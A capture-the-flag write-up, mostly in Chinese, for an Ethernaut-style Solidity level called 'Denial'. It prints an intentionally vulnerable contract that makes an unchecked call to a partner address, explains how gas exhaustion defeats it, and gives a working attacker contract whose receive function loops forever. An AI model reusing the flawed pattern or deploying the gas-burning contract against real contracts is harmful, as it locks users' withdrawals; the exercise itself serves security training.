LEVEL 20 (Denial):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
通关要求
阻止withdraw成功转账
要点
调用call方法失败(revert)会返回false
解题思路
call(bytes memory) returns (bool, bytes memory)
如果调用的方法revert是不会中断执行的,方法只会返回false
不过有个例外就是gas耗尽,会中断执行
所以只要在partner的receive方法里耗掉gas即可中断
contracts/20DenialRun.sol
contract DenialRun {
uint noting;
receive() external payable {
while(true){
noting = 1;
}
}
}
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